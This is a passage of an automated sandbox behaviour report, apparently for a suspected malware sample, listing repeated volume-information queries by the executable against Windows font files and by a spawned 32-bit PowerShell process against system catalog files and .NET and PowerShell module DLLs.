Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
